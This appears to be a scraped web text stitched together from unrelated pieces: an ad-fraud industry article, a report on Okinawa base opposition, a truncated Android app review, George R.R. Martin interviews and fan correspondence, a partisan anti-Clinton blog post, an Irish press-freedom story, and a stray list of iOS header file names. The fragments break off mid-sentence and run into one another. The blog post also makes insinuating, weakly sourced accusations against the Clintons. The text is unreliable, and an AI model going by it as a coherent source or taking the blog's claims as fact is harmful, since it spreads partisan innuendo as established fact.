As a result, the video ad platform has removed entire pockets of programmatic inventory where it suspected verification stripping was happening, said Josh Cariveau, SVP of global operations for SpotX.
The company has been educating premium publishers about this new attack, though premium inventory isn’t likely to be the most exposed to this form of fraud.
SpotX is working with measurement and supply partners beyond DoubleVerify to identify areas where verification stripping might mask a faulty URL or hide evidence of tactics like domain spoofing.
That work sometimes requires the video ad server to pass log-level impression data (and information about where the impressions were served) to the measurement partner on a daily basis.
“Then, they sift through the file and say, ‘These are the ones we didn’t see fire yesterday,’ and we work to fill in the blanks,” Cariveau said.
To prevent verification stripping, similar to SpotX, DoubleVerify’s McLaughlin advises buyers and other ad platforms to ensure the impression counts recorded in their ad server are similar or equal to those originating from their verification provider or publisher partner.Nago Mayor Susumu Inamine talks with reporters in Tokyo on Feb. 13, 2014. Inamine, who is steadfastly opposed to building a replacement facility for Marine Corps Air Station Futenma in his city, won re-election in January despite opposition from Japan's ruling party. Inamine's opposition could complicate efforts by both the United States and Japan to move the controversial helicopter base.
TOKYO — The mayor of a small city in Okinawa took his case to the world media Thursday in Tokyo, portraying the plan to build a Marine base there as one that fosters destruction of an ecological paradise and undermines democratic values.
Nago Mayor Susumu Inamine vowed to fight the relocation of Marine Corps Air Station Futenma to his city’s rural Henoko district, which is one of the first steps in a major realignment of thousands of U.S. servicemembers in the Pacific.
Inamine faces an uphill battle. The United States considers the agreement to move the base final, and even Inamine said Thursday that the Japanese government “has not swayed in its resolve” to build it.
He indicated he plans to combat the plan with a mix of world appeals and local red tape, according to several of his comments.
“There are management areas where the mayor of Nago has certain authority and rights,” Inamine said at a news conference. “I will be upfront about this. If different people come to me and say, ‘We need permission for something,’ if the premise is that they are going forward with this construction, then I will be uncooperative.”
The two governments first talked in 1996 about moving Futenma from what was once a rural area but is now urbanized. A helicopter crash in 2004 at a nearby college intensified Okinawan protests to move the base off the island entirely.
Moving the helicopter base off the island would separate the Marines based in Okinawa from their transportation. The U.S. considers the island strategically significant because of its proximity to Taiwan and Southeast Asia. It is also within reach of the Korean Peninsula by air if additional forces were needed there quickly.
Inamine disputed that reasoning Thursday, saying that basing more than half of U.S. servicemembers in Japan on the island of 1.4 million people was more about NIMBY — short for Not in My Backyard — on the part of mainland Japanese.
“Deterrence, geographical advantageousness — all of these arguments just no longer work,” Inamine said. “I simply think it’s a political decision. No one else in Japan wants these facilities.”
Inamine spoke for about 40 minutes with foreign and Japanese reporters, followed by about an hour of questions. He distributed color brochures featuring underwater photos that make the waters off Henoko look like a wonderland of coral and marine life. The material also included locations of the military’s helicopter crashes over several years and a timeline of the Futenma issue, which began with the 1995 rape of an Okinawan girl by three U.S. servicemembers.
“If they try to force this issue in Okinawa, then they will invite criticism from all over the world,” Inamine said.
The Japanese government’s ruling Liberal Democratic Party did everything it could to defeat Inamine in the January mayoral election. It sent national Diet members to campaign on behalf of opponent Bunshin Suematsu and offered sizable government grants to the area.
Inamine still won re-election by vote of 19,839-15,684, with 77 percent turnout.
Inamine said the national government’s continued resolve to build the base amounts to a repudiation of democratic values, in light of his victory. However, he said he would continue to lobby U.S. officials. He met with the U.S. Ambassador to Japan, Caroline Kennedy, during her trip to the island last week, and said he planned to visit Washington sometime after April.
Inamine said he did most of the talking during the meeting with Kennedy but that she listened intently to his viewpoints.
“She expressed a great deal of interest in the environmental issues,” he said.
slavin.erik@stripes.com
Twitter: @eslavin_stripesThere is always a demand for apps that provide comprehensive integration of mobile devices with computers and vice versa. While Motorola took the concept to a whole new level with the Motorola Atrix and its Webtop capability, not all of us can afford such expensive devices. LazyDroid is a free app for Android that allows you to control your device from your computer via a simple web-based interface. The app does so through both WiFi and USB, making it quite a versatile tool. For more on this wonderful application, read on!
Now, when we tested this application on our Android devices, we were quite thrilled by the features and potential this app boasts. We say “potential” as the app is in its beta version (as of now) and has been found to have a few limitations and the odd bug here and there. However the app, still young, is set in the right direction and hopefully these bugs would be removed and more powerful features added in the future. Let’s walk you through with the basics of this fairly simple app.
First of all, this (screenshot above) is how the interface of the app looks like on the phone, showing you the address local web server you need to connect to through your PC internet browser. Tap the power button to switch the |
and I also have a chunk of an SF novel called Avalon that I put aside to write A Game of Thrones. I have a lingering fondness for that old future history of mine, I must admit... even though certain aspects seem very outdated today. I expect I'll visit it again one day. You have often been described as a Romantic writer in the widest sense, and as having the sensibility of a poet allied to an awareness of the brutal realities of existence. Your characters frequently live with loss and regret, and the failure to reach their goals or to live up to their ideals, a theme that runs from your earliest work through to A Song of Ice and Fire. Is there an autobiographical element in such flawed crusaders as Laren Dorr, the Great and Powerful Turtle and Ser Jorah amongst many others, or do they perhaps reflect more of a general view of life? Hmmm... well, I mined my own life shamelessly when creating the Great and Powerful Turtle, I admit. Tom's childhood was my own, complete with pet turtles. Unfortunately, I never developed telekinesis... otherwise I might be out fighting crime from an armored Volkswagen, rather than writing novels. My other characters are less autobiographical on the surface, but down deep there's a lot of me in all of them. A writer observes other people and draws on all that he sees and hears and experiences, certainly, but observation can only take you so far. To make a character really come alive, you have to become that character, and that means delving down into your own psyche, using your own dreams and desires... and even your fears. In many ways you were one of the precursors of the recent boom in vampire novels with Fevre Dream. What do you think is the appeal of vampire stories, and why is it that they seem to have become so popular now? Vampires have always been popular. I have written stories about werewolves, ghosts, and zombies as well, but none of them have the sex appeal of the vampire. I think eroticism has a lot to do with it. There is a dark romanticism to the vampire that none of the other traditional monsters can match. In Fevre Dream, Joshua York quotes Byron at one point. "She walks in beauty, like the night..." He's speaking about the steamboat, but the words apply to vampires as well. In the 1980s, you moved into television, working on series such as the new Twilight Zone and Beauty and the Beast. How did you find the experience differed from working in the medium of print? Did it teach you anything? Ultimately it taught me that I wanted to go back to books. Oh, it was an exciting time, to be sure. I worked with some good people and did a lot of work that I remain proud of, but TV and film are collaborative mediums, and in the end I just got tired of collaborating. A book allows me to be the writer, director, producer, special effects artist, set designer, stunt man, and all the actors, rolled in one. I don't have to compromise my story to meet the demands of studio or network, or water it down because Standards and Practices thinks it's too violent or too sexy or too opinionated. And I don't have to worry about the budgets either! My scripts were always budget-busters out in Hollywood. In the late 1980s you were the guiding light behind the excellent Wild Cards series of "mosaic novels", working with writers such as Roger Zelazny, Mellinda Snodgrass, Ed Bryant and Walter Jon Williams amongst many others. What was it like to collaborate so closely with so many very different writers? It was frustrating and exhilarating by turns. We had a tremendous group of very talented writers, and a great world to play in, and some of our brainstorming sessions were as much fun as any I've ever been a part of. Of course, there were arguments as well. But since I was the editor, I always won them... unlike the arguments I had in Hollywood. We told some great stories, and I think we also took the "shared world" concept to a new level. No other shared world series ever attempted anything as ambitious as our mosaic novels. Actually, it looks as though Wild Cards will soon be coming back. We are negotiating a deal that will bring many of the old books back into print and allow us to add a few new ones. I can't say more than that until the contracts are signed, but I'm looking forward to revisiting some of those characters. Although you have always written both Fantasy and SF, A Song of Ice and Fire is, I believe, your first foray into the traditional epic Fantasy genre. Commercial considerations aside, what attracted you to the genre? Actually, I had made several forays into high fantasy years and even decades before I began work on A Song of Ice and Fire -- The Lonely Songs of Laren Dorr, The Ice Dragon, In the Lost Lands, etc. Even in my rock 'n' roll mystery horror fantasy, The Armageddon Rag, I named my fictional 60s rock band the Nazgul, and called their first album "Hot Wind Out of Mordor." A Game of Thrones was my first attempt at epic Fantasy at novel length, but I'd loved the genre all my life. Growing up, I never made any distinctions between SF, Fantasy, and Horror. I would read Jack Vance's Dying Earth one week, and Asimov's Foundation the next, and enjoy them both. And The Lord of the Rings had as much impact on me as any book I ever read. Fantasy novels are often set in a kind of idealised version of how we wish the Middle Ages had actually been. One of the unique features of A Song of Ice and Fire for me was the way in which it combines the brutal realism of the actual Middle Ages with elements derived from its own idealised versions of itself - the elaborate armour and heraldry evokes obvious echoes of Chaucer, Mallory and Spenser. Was this a conscious decision to illuminate the way a mediaeval society might view itself, or was it perhaps just too much fun to play with all that bizarre symbolism? Well, I have to admit I enjoy the heraldry just for its own sake, although I have played fast and loose with some of the real world heraldic conventions. A lot of bad Fantasy takes place in a sort of Disney Middle Ages, and that had no appeal to me, but I did not want to write thousands of pages about mud and lice and plague either. That would be just as false, in the other direction. The real Middle Ages had room for both plagues and pageantry, and I wanted both sides in my books as well -- heightened somewhat, since this is Fantasy. In the same vein, the society of the Seven Kingdoms seems to be caught in the dichotomy between its lofty ideals, as expressed by its codes of chivalry and heraldry, and its inability to live up to those ideals, as revealed by the appalling atrocities you describe as the civil war erodes away the masks that society wears. What are your thoughts on this? Every society has tensions between its ideals and its reality, but in some the gulf is especially dramatic. The medieval period was one of those. A Song of Ice and Fire is obviously an epic in almost every sense of the word. There are elements here from just about every Fantasy convention, such as war, magic and dragons. There's truly Machiavellian realpolitik, and even popular culture favourites such as mammoths, giants and what sounds suspiciously like velociraptors! The whole story has an epic feel to it, not least as a result of its sheer length. To take on a project like this must take tremendous commitment, but you obviously feel it's worth it (and so do I!). How have you found the whole experience and what are your thoughts on the epic genre? This was the first major project I tackled after ten years of working in Hollywood, of keeping one eye always on the budget, of writing teleplays that had to fit into 46 minutes, and screenplays that dared not be longer than 120 pages. After a decade of that, I desperately wanted to do something that gave me more breathing room, something that was big and rich and grand in scale. When I began, I was planning for a trilogy; three books of about 800 manuscript pages each, I estimated. Had I kept to that, I'd be done by now, with the final book about to come out -- but a story makes its own demands, and this one was simply too big to be contained in three books. Nor have any of the volumes completed to date been as short as 800 pages. Instead they have come in at approximately 1100, 1200, and 1500, respectively. And I still have three more books to go... Had I known as I set out how huge these books would be and how long it would take me to write them, I would probably have been too intimidated to write the first sentence. But now that I am well into it, I am glad things worked out this way. I might have told a version of this story in three 800-page books, yes, but it could never have had the complexity of plot, the depth of characterization, or the richness of detail that I have been able to achieve with those added pages. Sometimes bigger is better. Another element I liked about the series was the moral relativism of many of the characters. Too many Fantasies rely on the shorthand of truly evil villains in the absolute moral sense, but your characters, while they might commit terrible acts, generally do so either from short-sighted self-interest or because they truly believe they are acting for the best. Was this a deliberate decision, or is it just more interesting to write this way? Both. I have always found grey characters more interesting than those who are pure black and white. I have no qualms with the way that Tolkien handled Sauron, but in some ways The Lord of the Rings set an unfortunate example for the writers who were to follow. I did not want to write another version of the War Between Good and Evil, where the antagonist is called the Foul King or the Demon Lord or Prince Rotten, and his minions are slavering subhumans dressed all in black (I dressed my Night's Watch, who are basically good guys, all in black in part to undermine that annoying convention). Before you can fight the war between good and evil, you need to determine which is which, and that's not always as easy as some Fantasists would have you believe. Likewise, you show a willingness to kill off characters who are built up as if they will be pivotal elements who will see the whole thing through to the end. This sudden dispatching of characters who are often on the brink of achieving their goal seems to me to be of a whole with the often painfully realistic and unglamorous depiction of war and the random obscenities it often generates. Is it difficult to plan something which feels as if it reflects the arbitrary nature of life like this? Difficult? No, not especially. Actually, I think there is something vaguely obscene about epic Fantasies that portray huge, world-rending wars and yet somehow never let any serious harm come to the main characters. Fiction is the art of lying convincingly, but I believe Mark Twain once said there were lies and damn lies (and statistics, but we won't get into that). During my years in television, I often ran up against the hypocrisy of the networks, who wanted shows full of "action" but not too much "violence". I'd had enough of that. There was a glory in war, at least before the gun made its appearance -- all our ancient and medieval sources agree on that -- but there was horror and pain and fear as well, and once battle was joined, anyone could die. Would you say that this appearance of random fate is an integral part of what you're trying to say about the epic Fantasy genre, given that it is so often underpinned by a deterministic theme, even a prophecy? Prophecy is one of those tropes of Fantasy that is fun to play with, but it can easily turn into a straightjacket if you're not careful. One of the themes of my fiction, since the very beginning, is that the characters must make their choices, for good or ill. And making choices is hard. There are prophecies in my Seven Kingdoms, but their meanings are often murky and misleading, and they seldom offer the characters much in the way of useful guidance. Finally, one review I read praised the "sheer bloody-mindedness" of A Song of Ice and Fire. What's your reaction to this? I took it as a compliment! Even so, A Song of Ice and Fire doesn't hold a candle to the stuff that went on in the real Middle Ages... Chats, Interviews, Etc | Comments: | PermaLink
Ottakar’s Interview
Submitted By: Elio M. García, Jr.
[Note: The address has been edited to accomodate the fact that Ottakars has moved the interview into their archives.] http://www.westeros.org/Citadel/SSM/Entry/1427
Correspondence with Fans | Comments: | PermaLink Submitted by Elio M. García, Jr.
King’s Landing 10 Questions
[Note: The following is a summary of a "10 Questions" feature produced by Sulthon of Kingslanding.org, which is now defunct.] Martin does a lot of research on any story that has a historical or quasi-historical setting. For the series, he immersed himself in the Middle Ages, reading everything he could about such things as castles, tourneys, knighthood, food, medicine, clothing, and customs. He also read histories of things like the Hundred Years War, the Wars of the Roses, the Crusades, and so on. In his opinion, the more you can take in of a period, the more your work will have a sense of truthfulness. If any sort of accident would bring about an early end for our favorite author, such as a meteor flatting his home, the readers will be flattened with him. There is no "master outline" for the series, just a half-dozen pages of very rough notes that are largely out of date. If he should die unexpectedly, the publishers might hire someone to finish the series, but they'll be on their own and will be very unlikely to finish it the same he would. However, he's only 52 years old, and had had a full physical in February, so he doesn't think there'll be a problem. We'll learn what "valar dohaeris" means in A Dance with Dragons Tyrion is Martin's favorite character, but from the perspective of House Stark, he's certainly a villain -- someone once said that a villain was a hero on the other side. At the time of the Sack, Aegon Targaryen was, "Still a babe at the breast. A year old, give or take a turn or two." Martin had once stated that Gandalf should have stayed dead (in Tolkien's The Lord of the Rings). He still holds to that position, despite some of the events in A Storm of Swords. However, if "he had returned as an evil flesh-eating zombie", that could have been different. Martin does not believe his "resurrections" are remotely similar to what Tolkien did. Death actually made Gandalf greater, improving him and increasing his power. And, quibbles aside, Martin still thinks that Tolkien was the greatest of all fantasists. Martin has no central resource for his knowledge of the Wars of the Roses, but he has a bookshelf packed with related materials. Special mention goes to Thomas B. Costain's 4-volume history of the Plantagents, however. Though the wars are dealt with only in the final volume, the books are extremely readable and full of colorful anecdotes about the times and the people who lived in them. Martin says that all young writers go through an imitative phase, and that it's not a problem. It can be a useful learning experience, and eventually one will find one's own voice. Martin recommends Tolkien's The Lord of the Rings, Robert E. Howard's Conan and Kull stories, the Gormenghast trilogy by Mervyn Peake, Peter S. Beagle's The Last Unicorn and A Fine and Private Place, Fritz Leiber's stories of Fafhrd and the Grey Mouser, C.L. Moore's Jirel of Joiry stories, and Jack Vance's Lyonesse, The Dying Earth, and Cugel's Saga. He also recommends historical writers such as Sharon Kay Penman, Nigel Tranter, Cecilia Holland, Thomas B. Costain, and Maurice Droun. Martin likes all sorts of food. Living in Santa Fe, he's a bit of a snob about Mexican food, however. New Mexico has the best Mexican food in the world, much better than Sonoran or TexMex, so he never eats Mexican food away from home. He loves Chinese food as well, especially Hunan and Szechuan styles that are extra spicey. Greek food and pizza as well, but only the thin-crust New York style pizza. Chats, Interviews, Etc | Comments: | PermaLink
The Targaryen Sword
Submitted By: Rania
I suppose that there must have been a Targaryen Valyrian sword..what happened to it? it is never mentioned. Was it melted down like Ice? No Comment
Correspondence with Fans | Comments: | PermaLink Submitted by Rania
Appearance in Germany
Submitted By: Barbarossa
Being an great fan of your books, as well as a German i'm very interested in the nature of your appearances in Germany this autumn. I'm especially interested your appearance at the Frankfurt book fair, compared to the Elster Con, since i live only one hour from Frankfurt. I will be hanging around the Frankfurt Book Fair from the afternoon of Tuesday the 17th through the end of the fair on Monday the 23rd, but as of this writing I do not have any official events scheduled. You might try asking for me at the booths of my various publishers, particularly HarperCollins (British) and Goldmann (German). I will also frequently be found at the booth of Fantasy Productions in the German hall, where my German agent Werner Fuchs will be based. I hope this helps you find me.
Correspondence with Fans | Comments: | PermaLink Submitted by Barbarossa
Dragoncon
I have attended Dragoncon in the past, but it is not likely I will returning in the near future. Dragoncon is moving its date to Labor Day weekend, which conflicts with the World Science Fiction convention. I have been attending worldcons since 1971, and would never dream of going to another con on worldcon's traditional weekend. I may come to Atlanta for other events, however, and I do sometimes teach at the Clarion West writer's workshop. Posts to Forums | Comments: | PermaLink
Night’s Watch Recruits and Magic
Submitted By: Bill
Even the behavior of dungeon recruits on their way to the Wall seems atypical of criminals. This behavior could be read as evidence that those chosen from the dungeons are acting under a mild geas, even though that fact has been forgotten in present-day Westeros. Given the variety of options open to escapees, both in Westeros and across the Narrow Sea, it is difficult to accept that, e.g., Yoren's last band would set out without stringent security measures in place. But if generations of recruits have gone more or less docilely to the Wall, it is easy to see how the peculiarities of their behavior might not be noticed, except by someone like Tyrion. There is no geas intended or implied, not even a mild one. I suspect that you and I just disagree on what constitutes the "typical" behavior of criminals. I don't find any peculiar anomalies in the behavior of Yoren's band of recruits, though I gather you do. I don't have the time or energy to argue the point, alas -- except insofar as the book itself constitutes my side of the argument. Like any writer, I have to write my characters as I see them, based on my own observations and knowledge of history and human behavior... but I recognize that disagreement is possible, and probably inevitable. Hell, writers often disagree with one another. As to Yoren's band... he did keep the three most dangerous men in chains, and many of the unchained were orphan boys, volunteers, or petty criminals like thieves and poachers, none of them likely to give him any trouble. But his success, such as it was, does not necessarily mean that =all= past recruits went "docilely" to the Wall. I have no doubt that over its long history the Night's Watch had its share of murders, mutinies, and runaways. But they were relatively rare events... as rare as shipboard mutinies, prison riots, and slave revolts have been in the real world. It has been my intention from the start to gradually bring up the amount of magic in each successive volume of A Song of Ice and Fire, and that will continue. I will not rule out the possibility of a certain amount of "behind the scenes" magic, either. But while sorcerous events may impact on my characters, as with Renly or Lord Beric or Dany, their choices must ultimately remain their own.
Correspondence with Fans | Comments: | PermaLink Submitted by Bill
The Wall
Submitted By: Oenone
I am having discussions about the Wall. Some think that it is an impossibility for a structure of that size to remain standing if it is made from ice alone. Personally I think that the wall started of a lot smaller and slowly grew larger over the centuries as the black brothers trampled layer after layer of blue metal or small stones across the top. If that is the case then the wall is probably a mixture of crushed rocks and ice, which in my opinion would be a VERY sturdy construction, as demonstrated by Jon when he filled the barrels with water and used them to crush the battering ram. Well, the Wall has undoubtedly "eaten" a lot of crushed stone over the centuries and millenia, especially around the castles where the black brothers regularly gravelled the walkways. But there's a lot more ice than there is stone. Yes, the Wall was much smaller when first raised. It took hundreds of years to complete and thousands to reach it's present height. If time is permiting would you mind giving a brief description on how the wall was constructed? Much of those details are lost in the mists of time and legend. No one can even say for certain if Brandon the Builder ever lived. He is as remote from the time of the novels as Noah and Gilgamesh are from our own time. But one thing I will say, for what it's worth -- more than ice went into the raising of the Wall. Remember, these are =fantasy= novels.
Correspondence with Fans | Comments: | PermaLink Submitted by Oenone
Storm of Swords Tour
Submitted By: Elio M. García, Jr.
[Note: This mail incorporates additional information and clarifications sent by GRRM in a second mail. It also contains clarifications and additions provided by Parris while GRRM was on his tour.] Bantam has sent me the dates and places for my November tour for A STORM OF SWORDS. Some of the details still remain to be worked out, and it's always possible that there will be additions and changes later on, but right now the schedule looks like this: FRIDAY NOV 3, 7:30 pm --- Barnes and Noble, 3701-A Ellison Drive NW., Albuquerque, N.M. SATURDAY NOV 4, 7:00 pm --- Joseph Beth, Lexington, Kentucky MONDAY NOV 6, 7:00 pm --- Harry W. Schwartz Books, 10976 North Port Washington Road, Mequon, WI. TUESDAY NOV 7, 6:00-8:00 pm --- Bakka Books, 598 Yonge Street, Toronto, Canada WED, NOV 8, 7:00 pm --- Mysterious Galaxy, San Diego, California THURSDAY, NOV 9, 7:30 pm --- Kepler's, Menlo Park, California FRIDAY, NOV 10, 7:00 pm --- Bay Book and Tobacco, Half Moon Bay, California SATURDAY, NOV 11, 7:30-8:30 pm --- Cody's - 2454 Telegraph Ave, Berkeley (510) 845-0837 SUNDAY, NOV 12, 3:00-4:00 pm --- Borders - 16920 SW 72nd street - Tigard OR (503-684-5765) MONDAY, NOV 13 --- Taping of interview for Evergreen Radio Reading Service, will be broadcast on 3 Wash. state NPR stations; no scheduled play time TUESDAY, NOV 14, 7:00 pm --- University Books, 4326 University Way, Seattle, Washington WED, NOV 15, 12:00-1:00 pm --- The White Dwarf 4374 W 10th Ave - Vancouver BC - 604-228-8223 WED, NOV 15, 7:00-8:30 pm --- Bolen Books, Victoria, British Columbia THURSDAY, NOV 16, 6:30-8:00 pm --- Sentry Box Books, Calgary, Canada SATURDAY, NOV 18, 2:00-3:00 pm --- Dangerous Visions, 13563 Ventura Blvd, Sherman Oaks, CA, 818-986-6963 SATURDAY, NOV 18 --- Taping for KPFK-FM "Hour 25" interview, not yet scheduled for play (www.hour25.org) TUESDAY, NOV 21, 7:30 pm --- Tattered Cover (Cherry Creek store), 2955 East 1st Avenue, Denver, Colorado Looks like I will be racking up quite a few frequent flyers miles. If I seem unduly befuddled at any of the events, please forgive me and rack it up to jet lag. I will be reading and answering questions at several of these appearances -- at Mysterious Galaxy in San Diego, at Kepler's in Menlo Park, at the University Bookstore in Seattle, possibly others. I hope I will see many of you at one or the other of these events.
Correspondence with Fans | Comments: | PermaLink Submitted by Elio M. García, Jr.
Minisa Tully and Sansa
Submitted By: Rania
[Note: A lengthy IM conversation between Rania and GRRM. Edited for brevity.] Tigers14: guess you are not going to tell me about Minisa Whent :) GeoRR: Does it matter? Tigers14: minisa? it might, since if she is the sister of of the last lord of harrenhal, than edmure's kid (if he lives long enough to have one) might be the real heir to harrenhal which would give the freys effective control over riverrun, the twins and harrenhal.... and be for all intents and purposes the rulers of the riverlands. GeoRR: Yes, but the crown has awarded Harrenhal to Littlefinger. Tigers14: true. but littlefinger doesn't have the men to conquer it does he? Tigers14: btw, i think that with tywin dead and tyrion on the run, the crown under cersei is going to have trouble GeoRR: Cersei will have some challenges, certainly Tigers14: btw, can a marriage be annulled without both parties present? and without sansa revealing who she really is? GeoRR: no one needs to be present to annul a marriage Tigers14: how? GeoRR: but Sansa would need to request it Tigers14: as sansa? GeoRR: Well, why would a High Septon consider a request from anyone but the parties involved? Tigers14: i mean she can't hide who she is. she has to request that her marriage, her being sansa stark, to tyrion lannister be annulled. Tigers14: which would imply that the High Septon would need to know that Sansa Stark is requesting the annulment of her marriage. Tigers14: Which would reveal, to a certain extent where Sansa is. GeoRR: yes indeed Tigers14: another question, can NW vows be annulled if a person had no idea who he really was when he took them? GeoRR: who had no idea who he was? Tigers14: jon GeoRR: Jon knows who he is. He may not know who his mother is, but that's not the same thing. There are plenty of orphans and bastards in the Watch who don't know who their parents are. Tigers14: yes. but if jon is the legitimate son of rhaegar and lyanna, he is the king of westeros. GeoRR: well, you know I am not going to get into any of that GeoRR: I think I've said enough for tonight.
Correspondence with Fans | Comments: | PermaLink Submitted by Rania
Night’s Watch Oath
Submitted By: Steve M.
Two questions. First, any estimated date when the fourth volume will be released? Depends on when I get it done. Sometime in 2002, most likely. The second concerns the oaths of the Night Watch, Maesters, King's Guard, silent sisters, etc. Both Robb and Stannis, and presumably Robb's great lords, thought it was possible that Jon could be released form his oaths. Other than the precedent established by Joffrey with Ser Barristan, is there any other past precedent with any of the other organizations were the members swear poverty, celibacy, etc. to be honorably released from their vows? I ask because if the NW has been around for 8000 years, and many great lords and/or their families may have joined (not entirely willing in some cases), there seems to be a lot of potential for "exceptions" to develop as time went on. Yes, there have been a few other cases, but they have been very rare. Such vows are taken very seriously.
Correspondence with Fans | Comments: | PermaLink Submitted by Steve M.
Lightbringer
Submitted By: Oenone
Was just toying with the idea that Lightbringer is the lost Lannister sword. I'm not so bold as to ask you to give away the plot, but could tell me if there is a description of the lost Lannister sword in any of the first three books, or if Melisandre explains how she aquired the sword and from where? No and no. Any visits to Australia scheduled in your busy schedule?? Not in the near future, I'm afraid. I was just down there last year, and again the year before. This year I'm going to Germany. Then to Spain in 2001, and to Italy in 2002.
Correspondence with Fans | Comments: | PermaLink Submitted by Oenone
Lysa’s Abortion
Submitted By: Oenone
[Note: Oenone asks GRRM about whether Lysa's child was aborted or whether he survived.] Lysa miscarried a child at Riverrun, yes. As to whether the child was male... well, Lysa was convinced she was carrying a boy, at least.
Correspondence with Fans | Comments: | PermaLink Submitted by Oenone
Shella Whent
Submitted By: RaniaAccording to General Huge Shelton (Chairman of the Joint Chiefs of Staff at the time) Bill Clinton lost the card (known as “the biscuit” containing the nuclear codes for the nuclear football (the case with the “button”). Hillary asks:
“Do we want his [Trump’s] finger anywhere near the button? Source Her husband’s finger was missing for months after he lost the codes to access the nuclear codes.
You’ll remember the hue and cry that Bill Clinton’s disgrace was ONLY ABOUT SEX. The man is a serial philanderer. Could the lost card was be left behind on a nightstand somewhere? Completely possible knowing his rogue adventures that another government tried to set him up with a paramour, but hey, it was only about sex not national security.
A similar claim was made by Lt Col Robert Patterson,[all emphasis mine] a former aide, in a book published seven years ago. He was one of the men who carried the briefcase, known as the “football”, and he said that the morning after the Monica Lewinsky scandal broke that he made a routine request of the president to present the card so that he could provide an updated version. He thought he just placed them upstairs,” Lt Col Patterson recalled. “We called upstairs, we started a search around the White House for the codes, and he finally confessed that he in fact misplaced them. He couldn’t recall when he had last seen them.“Source
The FBI did not find that Hillary had intent to destroy State Department documents, but now we know she used software, known as Bleach Bit to totally obliterate whatever she did not want found. Sounds like intent to me. What is wrong with our FBI?
Although we did not find clear evidence that Secretary Clinton or her colleagues intended to violate laws governing the handling of classified information, there is evidence that they were extremely careless in their handling of very sensitive, highly classified information. ~ FBI Director James Comey FBI Press Release
Remember, Hillary was in charge of the State Department. She wasn’t the print room clerk. Whatever culture thrived there, she was in charge, responsible and sat at the head of the table, and she had an abundance of perks besides her government paycheck. She’s an abuse, just like her husband.
While not the focus of our investigation, we also developed evidence that the security culture of the State Department in general, and with respect to use of unclassified e-mail systems in particular, was generally lacking in the kind of care for classified information found elsewhere in the government.
Can you imagine how carless she might be with the long hours required to devote to the presidency? Can Huma Abedin clean up after her fast enough? No doubt she can. She’s been doing a good job of it for a number of years now.
Can you imagine both of them back in the White House? Last time they made off with $190,000 worth of White House China, flatware and furniture before they had to ship it back. An another $86,000 in gifts that did not belong to them personally [were also taken and reportedly returned]. Remember staff pulling all the “Ws” from the computer keyboards? Way beyond careless. More like destructive and purposeful. They are destructive people, revenge seeking people, leaving a wake of misery behind them everywhere they go. Source
I have not found a definitive statement from the Parks Department that the items taken were actually received from the Presidential couple.. Her fingers will be into so many things [Your privacy, your 2nd Amendment Rights, your health care] she may not have time to remember in which pantsuit the “biscuit” is residing.
Hillary’s Missing Whitewater Documents. In 1996, a special Senate Whitewater committee released a report from the FBI demonstrating that documents sought in the Whitewater investigation had been found in the personal Clinton quarters of the White House. The First Lady’s fingerprints were on them. The documents had gone mysteriously missing for two years. Mark Fabiani, special White House counsel, immediately stated that there was no problem, according to the Times: “He added that she had testified under oath that she had nothing to do with the documents during the two years they were missing and did not know how they ended up in the family quarters.” Hillary remains the only First Lady in American history to be fingerprinted by the FBI. Those weren’t the only missing Whitewater documents later found in the Clinton White House. Rose Law billing records were found years after being sought “ in the storage area in the third-floor private residence at the White House where unsolicited gifts to the President and First Lady are stored before being sorted and catalogued.” Source
Trailer for Clinton Cash [if you haven’t seen it, it’s worth a watch – full version second video down]:
(Video) Clinton Cash
In a tweet posted last week, the Clinton Foundation claimed that 88 percent of its expenditures went “directly to [the foundation’s] life-changing work.” Source
To one of the points in the video, Hillary strongly endorsed the Iraq war.The Clinton foundation in 2013 spent only ten percent of its income on charitable grants. All that talk about the great good from this group of scammers is pitiful.
OR you can watch the full documentary below – the information on Africa is interesting:
Full Documentary: Clinton Cash
Linked at Bad Blue, uncensored news 24/7. Read it here.A column written by the editor of Ireland's largest-selling newspaper was changed between editions after objections by her bosses.
The presses of the Sunday Independent were stopped on Saturday evening (19 July), reported yesterday's Sunday Times in Ireland, in order to amend an article by Anne Harris.
The changes involved specific references to Denis O'Brien, the major shareholder of the paper's publishing company, Independent News & Media (INM).
But copies of Harris's original column did make it on to the street and the differences between the two versions were spotted by Gavin Sheridan, who pictured them and then posted them here on thestory.ie website.
Version one - Harris wrote: "Denis O'Brien is the majority shareholder in INM. In theory, with 29% of the shares, he does not control it. In practice, he does."
Version two - the phrase "In practice, he does" was deleted.
The next paragraph was also changed...
Version one - Harris wrote: "The question is whether he understands newspapers. In order to confront the truths in our society, we must have a free press. With the restrictive charter for journalists proposed last year, and some garrotive (sic) new structures, Denis O'Brien does not make this easy."
Version two - "The question is whether he understands newspapers. In order to confront the truths in our society, we must have a free press. If the restrictive charter for journalists proposed last year, along with some other structural changes, are anything to go by, it might be instructive for him to listen to journalists, troublesome and all as they are."
According to the Sunday Times, the order to stop the presses was made by Stephen Rae, group editor of INM's titles, a decision which led to "a heated discussion in the newsroom".
Harris's column, "Lies won't compromise the Sunday Independent" (version two), was a response to an article about her in Phoenix (Ireland's Private Eye-like satirical magazine).
It claimed that she was leaving the Sunday Independent in October and had negotiated a generous leaving package, a key part of which involved her agreeing not to publish articles about O'Brien.
Harris regarded that |
.h TUIDSUtilities.h TULogging.h TUProxyCall.h TUProxyCallModel.h
